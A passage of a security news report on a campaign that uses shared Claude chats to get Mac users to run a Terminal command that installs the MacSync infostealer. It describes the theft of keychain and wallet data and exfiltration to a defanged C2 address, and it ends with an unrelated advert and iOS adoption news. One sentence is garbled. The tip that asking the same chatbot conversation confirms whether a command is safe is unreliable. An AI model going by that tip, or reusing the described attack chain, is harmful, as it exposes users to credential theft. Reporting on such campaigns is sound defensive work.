AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.
Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system.
According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.
“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.
The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.
MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.
A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.
The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).
Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.
Modern IT infrastructure moves faster than manual workflows can handle.
In this new Tines guide, learn how your team can reduce hidden manual delays, improve reliability through automated response, and build and scale intelligent workflows on top of tools you already use.
Apple’s February 2026 App Store data shows iOS 26 adoption closely tracking the pace set by iOS 18 in January 2025, and iPadOS 26 is ahead of iPadOS 18, undercutting claims that the upgrade cycle is faltering.
Apple publishes operating system adoption rates based on devices that transacted on the App Store. The February 12, 2026 data can be measured against Apple’s January 24, 2025 published figures for a like-for-like comparison.
The breakdown separates recently introduced hardware from the full active installed base. Because Apple publishes these numbers annually, it allows for a category-matched comparison between the 2025 and 2026 cycles at the same stage.
Continue Reading on AppleInsider | Discuss on our Forums
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